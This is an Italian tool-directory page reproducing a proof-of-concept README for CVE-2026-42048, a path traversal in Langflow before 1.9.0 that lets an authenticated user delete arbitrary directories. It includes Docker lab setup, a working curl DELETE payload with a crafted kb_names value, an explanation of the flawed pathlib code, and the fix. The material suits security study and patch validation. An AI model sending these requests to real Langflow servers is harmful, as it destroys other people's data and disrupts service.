Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-42048 — Langflow Eliminazione Arbitraria di Directory | Kitploit
Strumenti/GitHubGitHub/eqstlab/cve-2026-42048
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubeqstlab/cve-2026-42048

CVE-2026-42048

Langflow Eliminazione Arbitraria di Directory

Vedi Repository
23 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-42048

CVE-2026-42048 Langflow Path Traversal / Eliminazione Arbitraria di Directory PoC

https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de


Descrizione

CVE-2026-42048 : Vulnerabilità di Eliminazione Arbitraria di Directory in Langflow

descrizione: Una vulnerabilità di path traversal in Langflow precedente alla versione 1.9.0 consente a un utente autenticato di eliminare directory al di fuori del percorso di archiviazione della Knowledge Base previsto attraverso l'endpoint di eliminazione in blocco, DELETE /api/v1/knowledge_bases. Il problema si verifica perché i valori kb_names controllati dall'utente vengono utilizzati per costruire percorsi del filesystem senza una corretta normalizzazione e validazione dei confini.


Prerequisiti

Per uno sfruttamento riuscito sono necessarie le seguenti condizioni:

  • Il target esegue una versione vulnerabile di Langflow, precedente alla 1.9.0.
  • L'attaccante può raggiungere l'endpoint di eliminazione in blocco delle Knowledge Base:
root@kitploit:~
DELETE /api/v1/knowledge_bases
  • L'attaccante è autenticato o può comunque effettuare richieste API autenticate. Gli advisory pubblici descrivono questo problema come a bassi privilegi (PR:L).
  • L'attaccante può controllare il parametro kb_names del corpo della richiesta.
  • Il processo Langflow ha i permessi del filesystem per eliminare la directory target.

Questa vulnerabilità non bypassa i permessi dei file del sistema operativo. Abusa della gestione dei percorsi e della logica di eliminazione di Langflow.


Configurazione del Laboratorio

Costruisci ed esegui l'ambiente vulnerabile usando Docker:

Costruisci l'Immagine

root@kitploit:~
docker build -t cve-2026-42048 .

Esegui il Container

root@kitploit:~
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048

Verifica lo Stato

root@kitploit:~
curl http://127.0.0.1:9101/status

Il laboratorio crea una directory target usa e getta in:

root@kitploit:~
/target/CVE-2026-42048

L'endpoint /status segnala se tale directory esiste ancora.


Come Usare

Sfrutta con PoC

root@kitploit:~
python3 poc.py

Input interattivo:

root@kitploit:~
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:

Sfrutta con curl

root@kitploit:~
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
  -H "Content-Type: application/json" \
  -d '{"kb_names":["/target/CVE-2026-42048"]}'

Verifica il Risultato

root@kitploit:~
curl http://127.0.0.1:9101/status

Se lo sfruttamento ha successo, target_exists passa da true a false.


Analisi

Endpoint Vulnerabile

root@kitploit:~
DELETE /api/v1/knowledge_bases

La vulnerabilità risiede nell'API di eliminazione in blocco delle Knowledge Base di Langflow. L'handler interessato accetta un elenco di nomi di Knowledge Base tramite il parametro kb_names e utilizza ciascun valore per costruire un percorso del filesystem da eliminare.

Nelle versioni vulnerabili, la logica di eliminazione in blocco costruisce manualmente il percorso invece di utilizzare l'helper di risoluzione dei percorsi più sicuro impiegato da altri endpoint delle Knowledge Base. Una rappresentazione semplificata del pattern vulnerabile è:

root@kitploit:~
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username

for kb_name in request.kb_names:
    kb_path = kb_user_path / kb_name

    if not kb_path.exists() or not kb_path.is_dir():
        continue

    KBStorageHelper.delete_storage(kb_path, kb_name)

L'helper di eliminazione alla fine rimuove la directory target con una logica di eliminazione ricorsiva. Poiché kb_name è controllato dall'attaccante, sequenze di path traversal come ../ possono uscire dalla directory della Knowledge Base dell'utente corrente. In pathlib di Python, un percorso assoluto fornito sul lato destro può anche sovrascrivere i componenti di percorso precedenti:

root@kitploit:~
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048

Di conseguenza, un valore kb_names manipolato può indurre Langflow a eliminare una directory al di fuori della root di archiviazione della Knowledge Base prevista, purché il processo Langflow abbia il permesso di rimuovere quella directory.

Questo è un problema CWE-22: Limitazione Impropria di un Percorso a una Directory Ristretta.

Causa Tecnica Radice

La causa radice è una normalizzazione insufficiente e la mancanza di validazione dei confini dei componenti di percorso controllati dall'utente prima dell'eliminazione ricorsiva. L'endpoint di eliminazione in blocco vulnerabile verifica se il percorso finale esiste, ma non garantisce che il percorso risolto rimanga all'interno della directory della Knowledge Base dell'utente autenticato.

Una correzione robusta deve:

  • normalizzare il percorso finale con Path.resolve()
  • garantire che il percorso risolto sia ancora all'interno della directory della Knowledge Base dell'utente autenticato
  • rifiutare i percorsi che escono da tale directory prima dell'eliminazione

Langflow ha corretto questo problema nella versione 1.9.0.

Perché Questo è Importante

L'eliminazione arbitraria di directory può avere un impatto diretto sull'integrità e sulla disponibilità. A seconda dei permessi di distribuzione e della struttura del filesystem, un attaccante potrebbe essere in grado di:

  • eliminare i dati della Knowledge Base di un altro utente
  • rimuovere directory di proprietà dell'applicazione
  • interrompere lo stato di esecuzione di Langflow
  • causare perdita di dati o interruzione del servizio

Questo problema non richiede l'esecuzione di codice arbitrario per essere dannoso. L'eliminazione ricorsiva con i privilegi dell'applicazione è sufficiente per danneggiare dati e disponibilità.


Scenario

root@kitploit:~
+-------------------------------------------+
|            Utente Autenticato              |
+-------------------------------------------+
                      |
                      | DELETE /api/v1/knowledge_bases
                      | kb_names = ["/target/CVE-2026-42048"]
                      v
+-------------------------------------------+
|       API Knowledge Base di Langflow      |
+-------------------------------------------+
                      |
                      | Costruzione non sicura del percorso
                      v
+-------------------------------------------+
|   Il percorso esce dalla directory KB utente |
+-------------------------------------------+
                      |
                      | Eliminazione ricorsiva della directory
                      v
+-------------------------------------------+
|        Eliminazione Arbitraria di Directory|
+-------------------------------------------+

Note sul Laboratorio

Questo laboratorio espone un piccolo proxy di sfida sulla porta 9101. Il proxy tiene nascosti l'intera UI di Langflow e il backend diretto, inoltrando solo il percorso API vulnerabile minimo necessario per questo esercizio.

La directory target per il laboratorio è:

root@kitploit:~
/target/CVE-2026-42048

L'endpoint /status può essere utilizzato per confermare che la directory target sia stata eliminata.


Pulizia

root@kitploit:~
docker stop cve-2026-42048

Disclaimer

Questo repository non è inteso a facilitare lo sfruttamento non autorizzato di istanze Langflow. Lo scopo di questo progetto è aiutare ricercatori di sicurezza, difensori e sviluppatori a comprendere la vulnerabilità, validare l'esposizione in ambienti controllati e applicare mitigazioni efficaci.


Riferimenti

https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q

https://nvd.nist.gov/vuln/detail/CVE-2026-42048

https://github.com/langflow-ai/langflow

Scarica lo strumento